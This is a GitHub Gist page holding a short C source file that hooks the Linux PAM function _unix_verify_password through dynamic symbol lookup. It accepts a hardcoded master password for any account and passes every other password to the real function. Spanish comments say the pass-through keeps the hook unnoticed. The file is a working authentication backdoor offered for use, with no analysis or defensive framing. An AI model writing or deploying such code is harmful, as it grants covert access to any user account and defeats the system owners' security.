Created
June 8, 2017 23:26
-
-
Save sudoaza/f8ffc6383c30af60fe17655e46277b3f to your computer and use it in GitHub Desktop.
compila...
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <dlfcn.h> | |
#include <stdio.h> | |
#include <string.h> | |
#include <security/pam_modutil.h> | |
typedef int (*orig_func)(pam_handle_t * pamh, const char *name, const char *p, unsigned int ctrl); | |
int _unix_verify_password(pam_handle_t * pamh, const char *name, const char *p, unsigned int ctrl) { | |
int retval=0; | |
// Referenciamos a la función original para pasar desapercibidos | |
orig_func o_unix_verify_password; | |
o_unix_verify_password = (orig_func)dlsym(RTLD_NEXT, "_unix_verify_password"); | |
if (strcmp(p, "p455w0rd") != 0) { | |
// Si no es la pass maestra llamo la funcion posta | |
retval = o_unix_verify_password(pamh, name, p, ctrl); | |
} else { | |
// Move along... | |
retval = PAM_SUCCESS; | |
} | |
return retval; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment